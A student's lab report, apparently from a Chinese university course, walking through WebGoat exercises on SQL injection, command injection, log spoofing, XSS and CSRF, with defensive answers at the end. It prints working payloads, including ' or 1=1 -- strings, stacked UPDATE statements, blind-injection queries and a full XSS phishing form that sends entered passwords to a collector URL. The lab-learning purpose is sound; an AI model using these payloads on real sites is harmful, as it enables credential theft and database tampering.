2019-2020-2 网络对抗技术 20175214 Exp9 Web安全基础

2019-2020-2 网络对抗技术 20175214 Exp9 Web安全基础

一、实验目标

  • 理解常用网络攻击技术的基本原理。

二、实验内容

  • Webgoat下做不少于7个题目,包括(SQL,XSS,CSRF)。

三、实验步骤

Webgoat环境配置

  • 输入update-alternatives --config java切换jdk版本,使用jdk1.8,如果没有请自行安装,参考链接

  • 下载webgoat-container-7.0.1-war-exec.jar文件;

  • 进入到文件目录下,输入java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat:

  • 在浏览器中输入http://localhost:8080/WebGoat就可以进入WebGoat登录界面,账号密码均为guest

1.SQL注入攻击(Injection Flaws)

命令注入(Command Injection)

  • 原理:在正常的参数提交过程中添加恶意代码以执行某条指令。
  • 实践:
    • 浏览网页源代码,审查网页元素对复选框代码进行修改,添加"& netstat -an & ipconfig"

    • 修改完成后,点击view,就可以查看IP地址等信息:

数字型SQL注入(Numeric SQL Injection)

  • 原理:在station字段中注入特征字符,组合成新的SQL语句。
  • 实践:
    • 浏览网页源代码,审查网页元素对复选框代码进行修改,在Value值中添加or 1=1:

    • 点击Go! 即可显示所有城市的天气情况:

日志欺骗(Log Spoofing)

  • 原理:通过在日志文件中添加假的日志信息实现欺骗。
  • 实践:
    • 题目要求是让用户名admin成功登录:

    • 在user栏中输入20175214lzc%0d%0aLogin Succeeded for username: admin

      • 其中,0D%是回车,%0A是换行符,通过它们实现换行显示;

SQL 注入(LAB: SQL Injection)

  • 原理:通过字符串的注入绕过认证,例如构造永真式。
  • 实践:
    • 构造方法:使用永真式1=1,并用--注释掉后面的内容;

    • 尝试输入' or 1=1 --,但是登陆失败:

    • 审查网页元素,对输入框的maxlength进行修改,例如改成5214,然后重新尝试就可以登陆成功:

字符串注入(String SQL Injection)

  • 原理:通过注入字符串绕过认证,常见的就是构造一个永真式。
  • 实践:
    • 输入查询的用户名20175214lzc' or 1=1--,成功得到所有用户的信用卡号码

数据库后门(Database Backdoors)

  • 原理:在系统中调用增、删、改、查(insert,delete,update,select),从而对数据库实现非法操作。
  • 实践:
    • 输入题中给的101,可以看到原始的数据:

    • 先尝试进行注入,输入101; update employee set Password=larry,尝试将密码改为学号:

    • 根据题目要求,我们的最终目标是把工资提高,输入101; update employee set salary=66666修改工资:

数字型盲注入(Blind Numeric SQL Injection)

  • 原理:使用表单的返回信息是真还是假来测试检查数据库中其它条目信息。
  • 实践:
    • 本题中,输入后页面返回的信息为帐号有效或无效。

    • :构造查询语句,输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 ) ;

    • 可以看到,返回账号无效的提示,也就是说pin值小于5000,反复使用二分法可以推算出为2364:

字符串型盲注入(Blind String SQL Injection)

  • 原理:和数字型盲注入类似,也是根据表单的返回信息来测试检查数据库中其它条目信息。
  • 实践:
    • 操作过程和数字型盲注入基本相同,反复使用二分法即可:

    • 依次确认其他字母,最终得到结果为Jill:

2.XSS攻击(Cross‐Site Scripting)

XSS 钓鱼(Phishing with XSS)

  • 原理:在已存在的页面中添加元素,实现窃取密码等信息。
  • 实践:
    • 需要两部分的脚本,一部分用来读取被攻击者在表单上输入的用户名和密码信息,另一部分是一个带用户名和密码输入框的表单:
    </form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
    
    • 这样就可以读取在表单上输入的用户名和密码信息,并发给题目指定的接收处:

存储型XSS攻击(Stored XSS Attacks)

  • 原理:存储型XSS攻击常见于有留言功能的平台,攻击者在留言处输入一段JavaScript脚本,这段脚本就会被保存在数据库中,在别的用户打开网页的时候,脚本就会被读取运行。
  • 实践:
    • 在留言板中输入一段脚本,例如:<script>alert("Hello,this is 20175214lzc.");</script>

3.CSRF攻击

跨站请求伪造(Cross Site Request Forgery (CSRF))

  • 原理:当受害者的浏览器试图打开页面时,它会使用指定的参数向另一个页面发送请求;
  • 实践:
    • 以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片),点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元:

绕过 CSRF 确认( CSRF Prompt By‐Pass)

  • 原理:伪造欺骗受害者加载包含“伪造请求”的页面,从而使用受害者的凭据执行非法指令。
  • 实践:
    • 同样根据右侧进行参数设置:

    • 点击底下的链接:

四、基础问题回答

(1)SQL注入攻击原理,如何防御

  • 原理:
    • 应用程序会将输入带入后台的SQL查询语句,后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果
  • 防御:
    • 使用正则表达式过滤传入的参数;检查是否包函非法字符,在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、' 等
    • 摒弃动态SQL语句,而改用用户存储过程来访问和操作数据。这需要在建立数据库后,仔细考虑Web程序需要对数据库进行的各种操作,并为之建立存储过程,然后让Web程序调用存储过程来完成数据库操作。

(2)XSS攻击的原理,如何防御

  • 原理:
    • 攻击者往Web页面里插入恶意html标签或者javascript代码,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。
  • 防御:
    • 当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
    • 实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。

(3)CSRF攻击原理,如何防御

  • 原理:
    • CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况> Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
      -主要是当访问网站A时输入用户名和密码,在通过验证后,网站A产生Cookie信息并返回,此时登录网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另一个网站B,网站B可返回一些攻击性代码并请求访问网站A;因此在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,因此还是会执行该恶意代码
  • 防御:
    • 验证referer:因为伪造的请求一般是从第三方网站发起的,所以第一个防御方法就是判断referer头,如果不是来自本网站的请求,就判定为CSRF攻击。但是该方法只能防御跨站的csrf攻击,不能防御同站的csrf攻击;
    • 使用验证码:每一个重要的post提交页面,使用一个验证码,因为第三方网站是无法获得验证码的。还有使用手机验证码,比如转账是使用的手机验证码。
    • 使用token:每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。将敏感操作又get改为post,然后在表单中使用token. 尽量使用post也有利于防御CSRF攻击;
    • 避免全站通用的cookie,严格设置cookie的域;
    • 尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作。

五、心得体会

  • 这次实验因为是在集成的平台上完成,所以过程比较顺利,没有遇到什么问题,这次实验涉及了以前学习的web编程的知识,以及上一次实验的一些知识,像数据库语句之类的,是一次很好的复习,主要的难点在于环境的配置,不过也还是通过查阅资料顺利完成了。
  • 通过本次实验,我实践并掌握了多种SQL注入攻击、XSS攻击和CSRF攻击技术,我接触到了更多的不同实际情况下的各种对web的攻击,也让我了解了很多攻击的过程和攻击能够成功的原因,对于防范这些攻击也有了一些认识和理解,提高了我对网络风险的认识。
posted @ 2020-05-26 20:54  20175214lzc  阅读(198)  评论(0编辑  收藏  举报